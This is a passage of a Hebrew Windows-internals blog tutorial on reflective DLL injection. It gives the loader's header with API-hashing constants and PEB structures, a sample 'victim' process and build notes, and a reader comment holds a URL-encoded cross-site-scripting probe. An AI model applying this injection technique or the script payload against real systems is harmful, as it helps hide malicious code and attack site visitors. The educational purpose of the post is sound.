typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); | |
#define KERNEL32DLL_HASH 0x6A4ABC5B | |
#define NTDLLDLL_HASH 0x3CFA685D | |
#define LOADLIBRARYA_HASH 0xEC0E4E8E | |
#define GETPROCADDRESS_HASH 0x7C0DFCAA | |
#define VIRTUALALLOC_HASH 0x91AFCA54 | |
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 | |
#define HASH_KEY 13 | |
#pragma intrinsic( _rotr ) | |
__forceinline DWORD ror(DWORD d) | |
{ | |
return _rotr(d, HASH_KEY); | |
} | |
__forceinline DWORD hash(char * c) | |
{ | |
register DWORD h = 0; | |
do | |
{ | |
h = ror(h); | |
h += *c; | |
} while (*++c); | |
return h; | |
} | |
typedef struct _UNICODE_STR | |
{ | |
USHORT Length; | |
USHORT MaximumLength; | |
PWSTR pBuffer; | |
} UNICODE_STR, *PUNICODE_STR; | |
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY | |
//__declspec( align(8) ) | |
typedef struct _LDR_DATA_TABLE_ENTRY | |
{ | |
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. | |
LIST_ENTRY InMemoryOrderModuleList; | |
LIST_ENTRY InInitializationOrderModuleList; | |
PVOID DllBase; | |
PVOID EntryPoint; | |
ULONG SizeOfImage; | |
UNICODE_STR FullDllName; | |
UNICODE_STR BaseDllName; | |
ULONG Flags; | |
SHORT LoadCount; | |
SHORT TlsIndex; | |
LIST_ENTRY HashTableEntry; | |
ULONG TimeDateStamp; | |
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; | |
// WinDbg> dt -v ntdll!_PEB_LDR_DATA | |
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes | |
{ | |
DWORD dwLength; | |
DWORD dwInitialized; | |
LPVOID lpSsHandle; | |
LIST_ENTRY InLoadOrderModuleList; | |
LIST_ENTRY InMemoryOrderModuleList; | |
LIST_ENTRY InInitializationOrderModuleList; | |
LPVOID lpEntryInProgress; | |
} PEB_LDR_DATA, *PPEB_LDR_DATA; | |
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK | |
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes | |
{ | |
struct _PEB_FREE_BLOCK * pNext; | |
DWORD dwSize; | |
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; | |
// struct _PEB is defined in Winternl.h but it is incomplete | |
// WinDbg> dt -v ntdll!_PEB | |
typedef struct __PEB // 65 elements, 0x210 bytes | |
{ | |
BYTE bInheritedAddressSpace; | |
BYTE bReadImageFileExecOptions; | |
BYTE bBeingDebugged; | |
BYTE bSpareBool; | |
LPVOID lpMutant; | |
LPVOID lpImageBaseAddress; | |
PPEB_LDR_DATA pLdr; | |
LPVOID lpProcessParameters; | |
LPVOID lpSubSystemData; | |
LPVOID lpProcessHeap; | |
PRTL_CRITICAL_SECTION pFastPebLock; | |
LPVOID lpFastPebLockRoutine; | |
LPVOID lpFastPebUnlockRoutine; | |
DWORD dwEnvironmentUpdateCount; | |
LPVOID lpKernelCallbackTable; | |
DWORD dwSystemReserved; | |
DWORD dwAtlThunkSListPtr32; | |
PPEB_FREE_BLOCK pFreeList; | |
DWORD dwTlsExpansionCounter; | |
LPVOID lpTlsBitmap; | |
DWORD dwTlsBitmapBits[2]; | |
LPVOID lpReadOnlySharedMemoryBase; | |
LPVOID lpReadOnlySharedMemoryHeap; | |
LPVOID lpReadOnlyStaticServerData; | |
LPVOID lpAnsiCodePageData; | |
LPVOID lpOemCodePageData; | |
LPVOID lpUnicodeCaseTableData; | |
DWORD dwNumberOfProcessors; | |
DWORD dwNtGlobalFlag; | |
LARGE_INTEGER liCriticalSectionTimeout; | |
DWORD dwHeapSegmentReserve; | |
DWORD dwHeapSegmentCommit; | |
DWORD dwHeapDeCommitTotalFreeThreshold; | |
DWORD dwHeapDeCommitFreeBlockThreshold; | |
DWORD dwNumberOfHeaps; | |
DWORD dwMaximumNumberOfHeaps; | |
LPVOID lpProcessHeaps; | |
LPVOID lpGdiSharedHandleTable; | |
LPVOID lpProcessStarterHelper; | |
DWORD dwGdiDCAttributeList; | |
LPVOID lpLoaderLock; | |
DWORD dwOSMajorVersion; | |
DWORD dwOSMinorVersion; | |
WORD wOSBuildNumber; | |
WORD wOSCSDVersion; | |
DWORD dwOSPlatformId; | |
DWORD dwImageSubsystem; | |
DWORD dwImageSubsystemMajorVersion; | |
DWORD dwImageSubsystemMinorVersion; | |
DWORD dwImageProcessAffinityMask; | |
DWORD dwGdiHandleBuffer[34]; | |
LPVOID lpPostProcessInitRoutine; | |
LPVOID lpTlsExpansionBitmap; | |
DWORD dwTlsExpansionBitmapBits[32]; | |
DWORD dwSessionId; | |
ULARGE_INTEGER liAppCompatFlags; | |
ULARGE_INTEGER liAppCompatFlagsUser; | |
LPVOID lppShimData; | |
LPVOID lpAppCompatInfo; | |
UNICODE_STR usCSDVersion; | |
LPVOID lpActivationContextData; | |
LPVOID lpProcessAssemblyStorageMap; | |
LPVOID lpSystemDefaultActivationContextData; | |
LPVOID lpSystemAssemblyStorageMap; | |
DWORD dwMinimumStackCommit; | |
} _PEB, *_PPEB; | |
typedef struct | |
{ | |
WORD offset : 12; | |
WORD type : 4; | |
} IMAGE_RELOC, *PIMAGE_RELOC; |
להלן ההסבר לקוד של ReflectiveLoader.h:
גם כאן יש בעיקר הגדרות (טיפוסי ל-Header files). באופן כללי – הכללה של מספר
ספריות שנשתמש בהן, הגדרות שנצטרך בקוד שלנו, קבועים של Hash-ים, את פונקציות ה-Hash שלנו, מבנים שאפשר לקבל
מהספריות ש-Windows נותן לנו אך בצורה מעט שונה
ופחות חשופה (הרבה Reserved תארו שם) אז את המבנה המלא
אפשר להשיג דרך Windbg אם תריצו את הפקודה הכתובה
מעל כל מבנה כזה. זה הכל.
זהו זה, יש לנו Loader ו-Reflective DLL. הגיע הזמן לבחון את הקוד
שלנו. שניה לפני כן – להלן הקוד לתהליך הקורבן, אין מה להסביר אני מניח:
#include <Windows.h> | |
#include <stdio.h> | |
int main() { | |
while (1) { | |
printf("process id: %d\n", GetCurrentProcessId()); | |
Sleep(1000); | |
} | |
return 1; | |
} |
הרגע הגדול הגיע – תופים בבקשה (רעש של תופים)..
מעולה. טענו DLL מהזיכרון בצורה רפלקטיבית
לחלוטין ושניה לפני שנסכם את כל מה שהיה פה ארצה לציין מספר נקודות. ראשית,
הגדירו ל-Visual Studio להימנע מ-Incremental Linking (דרך הגדרות הפרויקט כנסו
ל-Linker ואז בשדה של Enable Incremental Linking סמנו NO). שנית, הקוד כולו מיועד
לארכיטקטורת 32bit. אין תמיכה ב-64bit ואין תמיכה ב-ARM. השינוי לא גדולים אך היו
מכבידים על הקוד ועל הקריאות שלו ולכן נמנעתי מההתאמות הללו. ונקודה אחרונה אך
לא פחות חשובה – הקוד המוצג מתבסס בגסות על הקוד של Stephen Fewer ועל כן ארצה להודות לו על
הקוד הנפלא שבנה. הקוד המוצג כאן הוא לאחר שניקיתי ו/או הוספתי/הורדתי חלקים מסוימים מהמקור כדי לפשט אותו.
לסיכום, במאמר דיברנו על כתיבת כלי שיאפשר לנו להזריק DLL מבלי להשתמש ב-LoadLibrary בעקבות כל היתרונות הטמונים
בכך. עברנו תהליך למידה שכלל המון רבדים שונים אשר על רובם המוחלט דיברתי
במאמרים קודמים בבלוג. זהו המאמר האחרון בסדרת המאמרים "המדריך למזריק (DLL) המתחיל". מקווה שהצלחתם
להעשיר את הידע שלכם בעקבות הסדרה. למאמרים נוספים בנושא Windows Internals אתם מוזמנים לעקוב אחריי בטוויטר
וב-LinkedIn, שם אפרסם כאשר אעלה מאמר חדש לבלוג. נתראה במאמר הבא.
מאמר מעולה!
השבמחקאגב הקוד של ReflectiveLoader.c לא מופיע
%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E
השבמחק